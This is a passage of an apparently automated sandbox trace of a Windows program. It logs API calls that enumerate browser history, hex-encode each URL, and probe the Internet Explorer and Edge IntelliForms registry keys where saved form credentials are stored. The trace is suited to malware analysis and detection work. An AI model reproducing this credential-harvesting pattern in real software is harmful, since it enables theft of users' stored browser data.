(lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/RAcdCLm1gs6QXedtLdv7.pptx", lpSrch="?") returned 0x0 [0053.567] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/RAcdCLm1gs6QXedtLdv7.pptx") returned 69 [0053.567] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="A5") returned 2 [0053.567] lstrlenA (lpString="") returned 0 [0053.567] lstrlenA (lpString="A5") returned 2 [0053.567] LocalAlloc (uFlags=0x40, uBytes=0x83) returned 0x7601b0 [0053.567] lstrcpyA (in: lpString1=0x7601b0, lpString2="" | out: lpString1="") returned="" [0053.567] lstrcatA (in: lpString1="", lpString2="A5" | out: lpString1="A5") returned="A5" [0053.567] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="35") returned 2 [0053.567] lstrlenA (lpString="A5") returned 2 [0053.567] lstrlenA (lpString="35") returned 2 [0053.567] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x760240 [0053.567] lstrcpyA (in: lpString1=0x760240, lpString2="A5" | out: lpString1="A5") returned="A5" [0053.567] lstrcatA (in: lpString1="A5", lpString2="35" | out: lpString1="A535") returned="A535" [0053.567] LocalFree (hMem=0x7601b0) returned 0x0 [0053.567] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="55") returned 2 [0053.567] lstrlenA (lpString="A535") returned 4 [0053.567] lstrlenA (lpString="55") returned 2 [0053.567] LocalAlloc (uFlags=0x40, uBytes=0x87) returned 0x7601b0 [0053.567] lstrcpyA (in: lpString1=0x7601b0, lpString2="A535" | out: lpString1="A535") returned="A535" [0053.567] lstrcatA (in: lpString1="A535", lpString2="55" | out: lpString1="A53555") returned="A53555" [0053.567] LocalFree (hMem=0x760240) returned 0x0 [0053.567] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="1A") returned 2 [0053.567] lstrlenA (lpString="A53555") returned 6 [0053.567] lstrlenA (lpString="1A") returned 2 [0053.567] LocalAlloc (uFlags=0x40, uBytes=0x89) returned 0x767460 [0053.567] lstrcpyA (in: lpString1=0x767460, lpString2="A53555" | out: lpString1="A53555") returned="A53555" [0053.567] lstrcatA (in: lpString1="A53555", lpString2="1A" | out: lpString1="A535551A") returned="A535551A" [0053.567] LocalFree (hMem=0x7601b0) returned 0x0 [0053.567] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="76") returned 2 [0053.567] lstrlenA (lpString="A535551A") returned 8 [0053.567] lstrlenA (lpString="76") returned 2 [0053.567] LocalAlloc (uFlags=0x40, uBytes=0x8b) returned 0x7674f8 [0053.567] lstrcpyA (in: lpString1=0x7674f8, lpString2="A535551A" | out: lpString1="A535551A") returned="A535551A" [0053.567] lstrcatA (in: lpString1="A535551A", lpString2="76" | out: lpString1="A535551A76") returned="A535551A76" [0053.567] LocalFree (hMem=0x767460) returned 0x0 [0053.567] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="9C") returned 2 [0053.567] lstrlenA (lpString="A535551A76") returned 10 [0053.567] lstrlenA (lpString="9C") returned 2 [0053.567] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x767460 [0053.567] lstrcpyA (in: lpString1=0x767460, lpString2="A535551A76" | out: lpString1="A535551A76") returned="A535551A76" [0053.567] lstrcatA (in: lpString1="A535551A76", lpString2="9C" | out: lpString1="A535551A769C") returned="A535551A769C" [0053.567] LocalFree (hMem=0x7674f8) returned 0x0 [0053.567] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="D0") returned 2 [0053.567] lstrlenA (lpString="A535551A769C") returned 12 [0053.567] lstrlenA (lpString="D0") returned 2 [0053.567] LocalAlloc (uFlags=0x40, uBytes=0x8f) returned 0x7674f8 [0053.567] lstrcpyA (in: lpString1=0x7674f8, lpString2="A535551A769C" | out: lpString1="A535551A769C") returned="A535551A769C" [0053.567] lstrcatA (in: lpString1="A535551A769C", lpString2="D0" | out: lpString1="A535551A769CD0") returned="A535551A769CD0" [0053.567] LocalFree (hMem=0x767460) returned 0x0 [0053.567] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="DD") returned 2 [0053.567] lstrlenA (lpString="A535551A769CD0") returned 14 [0053.567] lstrlenA (lpString="DD") returned 2 [0053.567] LocalAlloc (uFlags=0x40, uBytes=0x91) returned 0x763478 [0053.567] lstrcpyA (in: lpString1=0x763478, lpString2="A535551A769CD0" | out: lpString1="A535551A769CD0") returned="A535551A769CD0" [0053.568] lstrcatA (in: lpString1="A535551A769CD0", lpString2="DD" | out: lpString1="A535551A769CD0DD") returned="A535551A769CD0DD" [0053.568] LocalFree (hMem=0x7674f8) returned 0x0 [0053.568] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="E3") returned 2 [0053.568] lstrlenA (lpString="A535551A769CD0DD") returned 16 [0053.568] lstrlenA (lpString="E3") returned 2 [0053.568] LocalAlloc (uFlags=0x40, uBytes=0x93) returned 0x763518 [0053.568] lstrcpyA (in: lpString1=0x763518, lpString2="A535551A769CD0DD" | out: lpString1="A535551A769CD0DD") returned="A535551A769CD0DD" [0053.568] lstrcatA (in: lpString1="A535551A769CD0DD", lpString2="E3" | out: lpString1="A535551A769CD0DDE3") returned="A535551A769CD0DDE3" [0053.568] LocalFree (hMem=0x763478) returned 0x0 [0053.568] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="43") returned 2 [0053.568] lstrlenA (lpString="A535551A769CD0DDE3") returned 18 [0053.568] lstrlenA (lpString="43") returned 2 [0053.568] LocalAlloc (uFlags=0x40, uBytes=0x95) returned 0x763478 [0053.568] lstrcpyA (in: lpString1=0x763478, lpString2="A535551A769CD0DDE3" | out: lpString1="A535551A769CD0DDE3") returned="A535551A769CD0DDE3" [0053.568] lstrcatA (in: lpString1="A535551A769CD0DDE3", lpString2="43" | out: lpString1="A535551A769CD0DDE343") returned="A535551A769CD0DDE343" [0053.568] LocalFree (hMem=0x763518) returned 0x0 [0053.568] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="B2") returned 2 [0053.568] lstrlenA (lpString="A535551A769CD0DDE343") returned 20 [0053.568] lstrlenA (lpString="B2") returned 2 [0053.568] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x763518 [0053.568] lstrcpyA (in: lpString1=0x763518, lpString2="A535551A769CD0DDE343" | out: lpString1="A535551A769CD0DDE343") returned="A535551A769CD0DDE343" [0053.568] lstrcatA (in: lpString1="A535551A769CD0DDE343", lpString2="B2" | out: lpString1="A535551A769CD0DDE343B2") returned="A535551A769CD0DDE343B2" [0053.568] LocalFree (hMem=0x763478) returned 0x0 [0053.568] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="79") returned 2 [0053.568] lstrlenA (lpString="A535551A769CD0DDE343B2") returned 22 [0053.568] lstrlenA (lpString="79") returned 2 [0053.568] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x758820 [0053.568] lstrcpyA (in: lpString1=0x758820, lpString2="A535551A769CD0DDE343B2" | out: lpString1="A535551A769CD0DDE343B2") returned="A535551A769CD0DDE343B2" [0053.568] lstrcatA (in: lpString1="A535551A769CD0DDE343B2", lpString2="79" | out: lpString1="A535551A769CD0DDE343B279") returned="A535551A769CD0DDE343B279" [0053.568] LocalFree (hMem=0x763518) returned 0x0 [0053.568] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="C6") returned 2 [0053.568] lstrlenA (lpString="A535551A769CD0DDE343B279") returned 24 [0053.568] lstrlenA (lpString="C6") returned 2 [0053.568] LocalAlloc (uFlags=0x40, uBytes=0x9b) returned 0x758a18 [0053.568] lstrcpyA (in: lpString1=0x758a18, lpString2="A535551A769CD0DDE343B279" | out: lpString1="A535551A769CD0DDE343B279") returned="A535551A769CD0DDE343B279" [0053.568] lstrcatA (in: lpString1="A535551A769CD0DDE343B279", lpString2="C6" | out: lpString1="A535551A769CD0DDE343B279C6") returned="A535551A769CD0DDE343B279C6" [0053.568] LocalFree (hMem=0x758820) returned 0x0 [0053.568] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="CF") returned 2 [0053.568] lstrlenA (lpString="A535551A769CD0DDE343B279C6") returned 26 [0053.568] lstrlenA (lpString="CF") returned 2 [0053.568] LocalAlloc (uFlags=0x40, uBytes=0x9d) returned 0x758820 [0053.568] lstrcpyA (in: lpString1=0x758820, lpString2="A535551A769CD0DDE343B279C6" | out: lpString1="A535551A769CD0DDE343B279C6") returned="A535551A769CD0DDE343B279C6" [0053.568] lstrcatA (in: lpString1="A535551A769CD0DDE343B279C6", lpString2="CF" | out: lpString1="A535551A769CD0DDE343B279C6CF") returned="A535551A769CD0DDE343B279C6CF" [0053.568] LocalFree (hMem=0x758a18) returned 0x0 [0053.568] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="AE") returned 2 [0053.568] lstrlenA (lpString="A535551A769CD0DDE343B279C6CF") returned 28 [0053.568] lstrlenA (lpString="AE") returned 2 [0053.568] LocalAlloc (uFlags=0x40, uBytes=0x9f) returned 0x758a18 [0053.568] lstrcpyA (in: lpString1=0x758a18, lpString2="A535551A769CD0DDE343B279C6CF" | out: lpString1="A535551A769CD0DDE343B279C6CF") returned="A535551A769CD0DDE343B279C6CF" [0053.568] lstrcatA (in: lpString1="A535551A769CD0DDE343B279C6CF", lpString2="AE" | out: lpString1="A535551A769CD0DDE343B279C6CFAE") returned="A535551A769CD0DDE343B279C6CFAE" [0053.568] LocalFree (hMem=0x758820) returned 0x0 [0053.568] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="8D") returned 2 [0053.568] lstrlenA (lpString="A535551A769CD0DDE343B279C6CFAE") returned 30 [0053.568] lstrlenA (lpString="8D") returned 2 [0053.568] LocalAlloc (uFlags=0x40, uBytes=0xa1) returned 0x754cf0 [0053.568] lstrcpyA (in: lpString1=0x754cf0, lpString2="A535551A769CD0DDE343B279C6CFAE" | out: lpString1="A535551A769CD0DDE343B279C6CFAE") returned="A535551A769CD0DDE343B279C6CFAE" [0053.568] lstrcatA (in: lpString1="A535551A769CD0DDE343B279C6CFAE", lpString2="8D" | out: lpString1="A535551A769CD0DDE343B279C6CFAE8D") returned="A535551A769CD0DDE343B279C6CFAE8D" [0053.569] LocalFree (hMem=0x758a18) returned 0x0 [0053.569] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="20") returned 2 [0053.569] lstrlenA (lpString="A535551A769CD0DDE343B279C6CFAE8D") returned 32 [0053.569] lstrlenA (lpString="20") returned 2 [0053.569] LocalAlloc (uFlags=0x40, uBytes=0xa3) returned 0x754b90 [0053.569] lstrcpyA (in: lpString1=0x754b90, lpString2="A535551A769CD0DDE343B279C6CFAE8D" | out: lpString1="A535551A769CD0DDE343B279C6CFAE8D") returned="A535551A769CD0DDE343B279C6CFAE8D" [0053.569] lstrcatA (in: lpString1="A535551A769CD0DDE343B279C6CFAE8D", lpString2="20" | out: lpString1="A535551A769CD0DDE343B279C6CFAE8D20") returned="A535551A769CD0DDE343B279C6CFAE8D20" [0053.569] LocalFree (hMem=0x754cf0) returned 0x0 [0053.569] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="61") returned 2 [0053.569] lstrlenA (lpString="A535551A769CD0DDE343B279C6CFAE8D20") returned 34 [0053.569] lstrlenA (lpString="61") returned 2 [0053.569] LocalAlloc (uFlags=0x40, uBytes=0xa5) returned 0x754cf0 [0053.569] lstrcpyA (in: lpString1=0x754cf0, lpString2="A535551A769CD0DDE343B279C6CFAE8D20" | out: lpString1="A535551A769CD0DDE343B279C6CFAE8D20") returned="A535551A769CD0DDE343B279C6CFAE8D20" [0053.569] lstrcatA (in: lpString1="A535551A769CD0DDE343B279C6CFAE8D20", lpString2="61" | out: lpString1="A535551A769CD0DDE343B279C6CFAE8D2061") returned="A535551A769CD0DDE343B279C6CFAE8D2061" [0053.569] LocalFree (hMem=0x754b90) returned 0x0 [0053.569] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="47") returned 2 [0053.569] lstrlenA (lpString="A535551A769CD0DDE343B279C6CFAE8D2061") returned 36 [0053.569] lstrlenA (lpString="47") returned 2 [0053.569] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x754b90 [0053.569] lstrcpyA (in: lpString1=0x754b90, lpString2="A535551A769CD0DDE343B279C6CFAE8D2061" | out: lpString1="A535551A769CD0DDE343B279C6CFAE8D2061") returned="A535551A769CD0DDE343B279C6CFAE8D2061" [0053.569] lstrcatA (in: lpString1="A535551A769CD0DDE343B279C6CFAE8D2061", lpString2="47" | out: lpString1="A535551A769CD0DDE343B279C6CFAE8D206147") returned="A535551A769CD0DDE343B279C6CFAE8D206147" [0053.569] LocalFree (hMem=0x754cf0) returned 0x0 [0053.569] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="8E") returned 2 [0053.569] lstrlenA (lpString="A535551A769CD0DDE343B279C6CFAE8D206147") returned 38 [0053.569] lstrlenA (lpString="8E") returned 2 [0053.569] LocalAlloc (uFlags=0x40, uBytes=0xa9) returned 0x750bb8 [0053.569] lstrcpyA (in: lpString1=0x750bb8, lpString2="A535551A769CD0DDE343B279C6CFAE8D206147" | out: lpString1="A535551A769CD0DDE343B279C6CFAE8D206147") returned="A535551A769CD0DDE343B279C6CFAE8D206147" [0053.569] lstrcatA (in: lpString1="A535551A769CD0DDE343B279C6CFAE8D206147", lpString2="8E" | out: lpString1="A535551A769CD0DDE343B279C6CFAE8D2061478E") returned="A535551A769CD0DDE343B279C6CFAE8D2061478E" [0053.569] LocalFree (hMem=0x754b90) returned 0x0 [0053.569] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="7F") returned 2 [0053.569] lstrlenA (lpString="A535551A769CD0DDE343B279C6CFAE8D2061478E") returned 40 [0053.569] lstrlenA (lpString="7F") returned 2 [0053.569] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x750a48 [0053.569] lstrcpyA (in: lpString1=0x750a48, lpString2="A535551A769CD0DDE343B279C6CFAE8D2061478E" | out: lpString1="A535551A769CD0DDE343B279C6CFAE8D2061478E") returned="A535551A769CD0DDE343B279C6CFAE8D2061478E" [0053.569] lstrcatA (in: lpString1="A535551A769CD0DDE343B279C6CFAE8D2061478E", lpString2="7F" | out: lpString1="A535551A769CD0DDE343B279C6CFAE8D2061478E7F") returned="A535551A769CD0DDE343B279C6CFAE8D2061478E7F" [0053.569] LocalFree (hMem=0x750bb8) returned 0x0 [0053.569] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.569] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.569] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.569] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.569] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.569] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.569] LocalFree (hMem=0x750a48) returned 0x0 [0053.570] CoTaskMemFree (pv=0x7633b8) [0053.570] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.570] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/1wznGzUb8H6Td3m.docx", lpSrch="?") returned 0x0 [0053.570] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/1wznGzUb8H6Td3m.docx") returned 64 [0053.570] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="7B") returned 2 [0053.570] lstrlenA (lpString="") returned 0 [0053.570] lstrlenA (lpString="7B") returned 2 [0053.570] LocalAlloc (uFlags=0x40, uBytes=0x83) returned 0x7603f0 [0053.570] lstrcpyA (in: lpString1=0x7603f0, lpString2="" | out: lpString1="") returned="" [0053.570] lstrcatA (in: lpString1="", lpString2="7B" | out: lpString1="7B") returned="7B" [0053.570] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="36") returned 2 [0053.570] lstrlenA (lpString="7B") returned 2 [0053.570] lstrlenA (lpString="36") returned 2 [0053.570] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x760480 [0053.570] lstrcpyA (in: lpString1=0x760480, lpString2="7B" | out: lpString1="7B") returned="7B" [0053.570] lstrcatA (in: lpString1="7B", lpString2="36" | out: lpString1="7B36") returned="7B36" [0053.570] LocalFree (hMem=0x7603f0) returned 0x0 [0053.570] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="55") returned 2 [0053.570] lstrlenA (lpString="7B36") returned 4 [0053.570] lstrlenA (lpString="55") returned 2 [0053.570] LocalAlloc (uFlags=0x40, uBytes=0x87) returned 0x7603f0 [0053.570] lstrcpyA (in: lpString1=0x7603f0, lpString2="7B36" | out: lpString1="7B36") returned="7B36" [0053.570] lstrcatA (in: lpString1="7B36", lpString2="55" | out: lpString1="7B3655") returned="7B3655" [0053.570] LocalFree (hMem=0x760480) returned 0x0 [0053.570] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="E8") returned 2 [0053.570] lstrlenA (lpString="7B3655") returned 6 [0053.570] lstrlenA (lpString="E8") returned 2 [0053.570] LocalAlloc (uFlags=0x40, uBytes=0x89) returned 0x7633b8 [0053.570] lstrcpyA (in: lpString1=0x7633b8, lpString2="7B3655" | out: lpString1="7B3655") returned="7B3655" [0053.570] lstrcatA (in: lpString1="7B3655", lpString2="E8" | out: lpString1="7B3655E8") returned="7B3655E8" [0053.570] LocalFree (hMem=0x7603f0) returned 0x0 [0053.570] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="15") returned 2 [0053.570] lstrlenA (lpString="7B3655E8") returned 8 [0053.570] lstrlenA (lpString="15") returned 2 [0053.570] LocalAlloc (uFlags=0x40, uBytes=0x8b) returned 0x767460 [0053.570] lstrcpyA (in: lpString1=0x767460, lpString2="7B3655E8" | out: lpString1="7B3655E8") returned="7B3655E8" [0053.570] lstrcatA (in: lpString1="7B3655E8", lpString2="15" | out: lpString1="7B3655E815") returned="7B3655E815" [0053.570] LocalFree (hMem=0x7633b8) returned 0x0 [0053.570] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="6B") returned 2 [0053.570] lstrlenA (lpString="7B3655E815") returned 10 [0053.570] lstrlenA (lpString="6B") returned 2 [0053.570] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x7633b8 [0053.570] lstrcpyA (in: lpString1=0x7633b8, lpString2="7B3655E815" | out: lpString1="7B3655E815") returned="7B3655E815" [0053.570] lstrcatA (in: lpString1="7B3655E815", lpString2="6B" | out: lpString1="7B3655E8156B") returned="7B3655E8156B" [0053.570] LocalFree (hMem=0x767460) returned 0x0 [0053.570] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="1E") returned 2 [0053.570] lstrlenA (lpString="7B3655E8156B") returned 12 [0053.570] lstrlenA (lpString="1E") returned 2 [0053.570] LocalAlloc (uFlags=0x40, uBytes=0x8f) returned 0x767460 [0053.570] lstrcpyA (in: lpString1=0x767460, lpString2="7B3655E8156B" | out: lpString1="7B3655E8156B") returned="7B3655E8156B" [0053.570] lstrcatA (in: lpString1="7B3655E8156B", lpString2="1E" | out: lpString1="7B3655E8156B1E") returned="7B3655E8156B1E" [0053.570] LocalFree (hMem=0x7633b8) returned 0x0 [0053.571] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="50") returned 2 [0053.571] lstrlenA (lpString="7B3655E8156B1E") returned 14 [0053.571] lstrlenA (lpString="50") returned 2 [0053.571] LocalAlloc (uFlags=0x40, uBytes=0x91) returned 0x763518 [0053.571] lstrcpyA (in: lpString1=0x763518, lpString2="7B3655E8156B1E" | out: lpString1="7B3655E8156B1E") returned="7B3655E8156B1E" [0053.571] lstrcatA (in: lpString1="7B3655E8156B1E", lpString2="50" | out: lpString1="7B3655E8156B1E50") returned="7B3655E8156B1E50" [0053.571] LocalFree (hMem=0x767460) returned 0x0 [0053.571] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="FF") returned 2 [0053.571] lstrlenA (lpString="7B3655E8156B1E50") returned 16 [0053.571] lstrlenA (lpString="FF") returned 2 [0053.571] LocalAlloc (uFlags=0x40, uBytes=0x93) returned 0x763478 [0053.571] lstrcpyA (in: lpString1=0x763478, lpString2="7B3655E8156B1E50" | out: lpString1="7B3655E8156B1E50") returned="7B3655E8156B1E50" [0053.571] lstrcatA (in: lpString1="7B3655E8156B1E50", lpString2="FF" | out: lpString1="7B3655E8156B1E50FF") returned="7B3655E8156B1E50FF" [0053.571] LocalFree (hMem=0x763518) returned 0x0 [0053.571] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="C3") returned 2 [0053.571] lstrlenA (lpString="7B3655E8156B1E50FF") returned 18 [0053.571] lstrlenA (lpString="C3") returned 2 [0053.571] LocalAlloc (uFlags=0x40, uBytes=0x95) returned 0x763518 [0053.571] lstrcpyA (in: lpString1=0x763518, lpString2="7B3655E8156B1E50FF" | out: lpString1="7B3655E8156B1E50FF") returned="7B3655E8156B1E50FF" [0053.571] lstrcatA (in: lpString1="7B3655E8156B1E50FF", lpString2="C3" | out: lpString1="7B3655E8156B1E50FFC3") returned="7B3655E8156B1E50FFC3" [0053.571] LocalFree (hMem=0x763478) returned 0x0 [0053.571] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="0A") returned 2 [0053.571] lstrlenA (lpString="7B3655E8156B1E50FFC3") returned 20 [0053.571] lstrlenA (lpString="0A") returned 2 [0053.571] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x763478 [0053.571] lstrcpyA (in: lpString1=0x763478, lpString2="7B3655E8156B1E50FFC3" | out: lpString1="7B3655E8156B1E50FFC3") returned="7B3655E8156B1E50FFC3" [0053.571] lstrcatA (in: lpString1="7B3655E8156B1E50FFC3", lpString2="0A" | out: lpString1="7B3655E8156B1E50FFC30A") returned="7B3655E8156B1E50FFC30A" [0053.571] LocalFree (hMem=0x763518) returned 0x0 [0053.571] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="CC") returned 2 [0053.571] lstrlenA (lpString="7B3655E8156B1E50FFC30A") returned 22 [0053.571] lstrlenA (lpString="CC") returned 2 [0053.571] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x758a18 [0053.571] lstrcpyA (in: lpString1=0x758a18, lpString2="7B3655E8156B1E50FFC30A" | out: lpString1="7B3655E8156B1E50FFC30A") returned="7B3655E8156B1E50FFC30A" [0053.571] lstrcatA (in: lpString1="7B3655E8156B1E50FFC30A", lpString2="CC" | out: lpString1="7B3655E8156B1E50FFC30ACC") returned="7B3655E8156B1E50FFC30ACC" [0053.571] LocalFree (hMem=0x763478) returned 0x0 [0053.571] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="4D") returned 2 [0053.571] lstrlenA (lpString="7B3655E8156B1E50FFC30ACC") returned 24 [0053.571] lstrlenA (lpString="4D") returned 2 [0053.571] LocalAlloc (uFlags=0x40, uBytes=0x9b) returned 0x758820 [0053.571] lstrcpyA (in: lpString1=0x758820, lpString2="7B3655E8156B1E50FFC30ACC" | out: lpString1="7B3655E8156B1E50FFC30ACC") returned="7B3655E8156B1E50FFC30ACC" [0053.571] lstrcatA (in: lpString1="7B3655E8156B1E50FFC30ACC", lpString2="4D" | out: lpString1="7B3655E8156B1E50FFC30ACC4D") returned="7B3655E8156B1E50FFC30ACC4D" [0053.571] LocalFree (hMem=0x758a18) returned 0x0 [0053.571] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="DD") returned 2 [0053.571] lstrlenA (lpString="7B3655E8156B1E50FFC30ACC4D") returned 26 [0053.571] lstrlenA (lpString="DD") returned 2 [0053.571] LocalAlloc (uFlags=0x40, uBytes=0x9d) returned 0x758a18 [0053.571] lstrcpyA (in: lpString1=0x758a18, lpString2="7B3655E8156B1E50FFC30ACC4D" | out: lpString1="7B3655E8156B1E50FFC30ACC4D") returned="7B3655E8156B1E50FFC30ACC4D" [0053.571] lstrcatA (in: lpString1="7B3655E8156B1E50FFC30ACC4D", lpString2="DD" | out: lpString1="7B3655E8156B1E50FFC30ACC4DDD") returned="7B3655E8156B1E50FFC30ACC4DDD" [0053.571] LocalFree (hMem=0x758820) returned 0x0 [0053.571] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="8C") returned 2 [0053.571] lstrlenA (lpString="7B3655E8156B1E50FFC30ACC4DDD") returned 28 [0053.571] lstrlenA (lpString="8C") returned 2 [0053.571] LocalAlloc (uFlags=0x40, uBytes=0x9f) returned 0x758820 [0053.571] lstrcpyA (in: lpString1=0x758820, lpString2="7B3655E8156B1E50FFC30ACC4DDD" | out: lpString1="7B3655E8156B1E50FFC30ACC4DDD") returned="7B3655E8156B1E50FFC30ACC4DDD" [0053.571] lstrcatA (in: lpString1="7B3655E8156B1E50FFC30ACC4DDD", lpString2="8C" | out: lpString1="7B3655E8156B1E50FFC30ACC4DDD8C") returned="7B3655E8156B1E50FFC30ACC4DDD8C" [0053.571] LocalFree (hMem=0x758a18) returned 0x0 [0053.571] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="74") returned 2 [0053.571] lstrlenA (lpString="7B3655E8156B1E50FFC30ACC4DDD8C") returned 30 [0053.571] lstrlenA (lpString="74") returned 2 [0053.571] LocalAlloc (uFlags=0x40, uBytes=0xa1) returned 0x754b90 [0053.572] lstrcpyA (in: lpString1=0x754b90, lpString2="7B3655E8156B1E50FFC30ACC4DDD8C" | out: lpString1="7B3655E8156B1E50FFC30ACC4DDD8C") returned="7B3655E8156B1E50FFC30ACC4DDD8C" [0053.572] lstrcatA (in: lpString1="7B3655E8156B1E50FFC30ACC4DDD8C", lpString2="74" | out: lpString1="7B3655E8156B1E50FFC30ACC4DDD8C74") returned="7B3655E8156B1E50FFC30ACC4DDD8C74" [0053.572] LocalFree (hMem=0x758820) returned 0x0 [0053.572] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="CD") returned 2 [0053.572] lstrlenA (lpString="7B3655E8156B1E50FFC30ACC4DDD8C74") returned 32 [0053.572] lstrlenA (lpString="CD") returned 2 [0053.572] LocalAlloc (uFlags=0x40, uBytes=0xa3) returned 0x754cf0 [0053.572] lstrcpyA (in: lpString1=0x754cf0, lpString2="7B3655E8156B1E50FFC30ACC4DDD8C74" | out: lpString1="7B3655E8156B1E50FFC30ACC4DDD8C74") returned="7B3655E8156B1E50FFC30ACC4DDD8C74" [0053.572] lstrcatA (in: lpString1="7B3655E8156B1E50FFC30ACC4DDD8C74", lpString2="CD" | out: lpString1="7B3655E8156B1E50FFC30ACC4DDD8C74CD") returned="7B3655E8156B1E50FFC30ACC4DDD8C74CD" [0053.572] LocalFree (hMem=0x754b90) returned 0x0 [0053.572] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="20") returned 2 [0053.572] lstrlenA (lpString="7B3655E8156B1E50FFC30ACC4DDD8C74CD") returned 34 [0053.572] lstrlenA (lpString="20") returned 2 [0053.572] LocalAlloc (uFlags=0x40, uBytes=0xa5) returned 0x754b90 [0053.572] lstrcpyA (in: lpString1=0x754b90, lpString2="7B3655E8156B1E50FFC30ACC4DDD8C74CD" | out: lpString1="7B3655E8156B1E50FFC30ACC4DDD8C74CD") returned="7B3655E8156B1E50FFC30ACC4DDD8C74CD" [0053.572] lstrcatA (in: lpString1="7B3655E8156B1E50FFC30ACC4DDD8C74CD", lpString2="20" | out: lpString1="7B3655E8156B1E50FFC30ACC4DDD8C74CD20") returned="7B3655E8156B1E50FFC30ACC4DDD8C74CD20" [0053.572] LocalFree (hMem=0x754cf0) returned 0x0 [0053.572] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="19") returned 2 [0053.572] lstrlenA (lpString="7B3655E8156B1E50FFC30ACC4DDD8C74CD20") returned 36 [0053.572] lstrlenA (lpString="19") returned 2 [0053.572] LocalAlloc 